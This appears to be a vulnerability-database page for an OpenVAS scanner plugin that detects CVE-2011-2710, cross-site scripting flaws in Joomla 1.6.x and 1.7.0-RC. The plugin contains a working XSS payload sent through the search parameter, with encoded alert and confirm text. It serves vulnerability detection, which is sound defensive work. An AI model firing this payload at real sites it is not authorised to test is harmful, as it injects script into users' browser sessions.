Lucene search

K
openvasCopyright (C) 2011 Greenbone AGOPENVAS:1361412562310902541
HistoryJul 27, 2011 - 12:00 a.m.

Joomla! CMS Multiple Cross Site Scripting Vulnerabilities (Jul 2011)

2011-07-2700:00:00
Copyright (C) 2011 Greenbone AG
plugins.openvas.org
6

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

AI Score

Confidence

Low

0.004 Low

EPSS

Percentile

73.1%

Joomla is prone to multiple cross site scripting vulnerabilities.

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:joomla:joomla";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902541");
  script_version("2024-02-19T14:37:31+0000");
  script_tag(name:"last_modification", value:"2024-02-19 14:37:31 +0000 (Mon, 19 Feb 2024)");
  script_tag(name:"creation_date", value:"2011-07-27 14:47:11 +0200 (Wed, 27 Jul 2011)");
  script_cve_id("CVE-2011-2710");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Joomla! CMS Multiple Cross Site Scripting Vulnerabilities (Jul 2011)");

  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2011/Jul/271");
  script_xref(name:"URL", value:"http://www.openwall.com/lists/oss-security/2011/07/22/5");
  script_xref(name:"URL", value:"http://bl0g.yehg.net/2011/07/joomla-170-rc-and-lower-multiple-cross.html");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("joomla_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("joomla/installed");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to insert arbitrary HTML and
  script code, which will be executed in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"Joomla CMS versions 1.6.x and 1.7.0-RC.");

  script_tag(name:"insight", value:"Multiple flaws are caused by improper validation of user-supplied input via
  multiple parameters to 'index.php', which allows attackers to execute arbitrary HTML and script code on the web
  server.");

  script_tag(name:"solution", value:"Upgrade to Joomla CMS 1.7.0 or later.");

  script_tag(name:"summary", value:"Joomla is prone to multiple cross site scripting vulnerabilities.");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe:CPE))
  exit(0);

if (!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if (dir == "/")
  dir = "";

useragent = http_get_user_agent();
host = http_host_name( port:port );

attack = string("task=search&Itemid=435&searchword=Search';onunload=function()",
                "{x=confirm(String.fromCharCode(89,111,117,39,118,101,32,103,",
                "111,116,32,97,32,109,101,115,115,97,103,101,32,102,114,111,",
                "109,32,65,100,109,105,110,105,115,116,114,97,116,111,114,33,",
                "10,68,111,32,121,111,117,32,119,97,110,116,32,116,111,32,103,",
                "111,32,116,111,32,73,110,98,111,120,63));alert(String.from",
                "CharCode(79,112,101,110,86,65,83,45,88,83,83,45,84,101,115,",
                "116));};//xsssssssssss&option=com_search");

url = dir + "/index.php";
req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "User-Agent: ", useragent, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", strlen(attack), "\r\n\r\n", attack);

res = http_keepalive_send_recv(port:port, data:req);

if (ereg(pattern:"^HTTP/1\.[01] 200", string:res) &&
    ';alert(String.fromCharCode(79,112,101,110,86,65,83,45,88,83,83,45,84,101,115,116));' >< res) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data:report);
  exit(0);
}

exit(99);

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

AI Score

Confidence

Low

0.004 Low

EPSS

Percentile

73.1%

Related for OPENVAS:1361412562310902541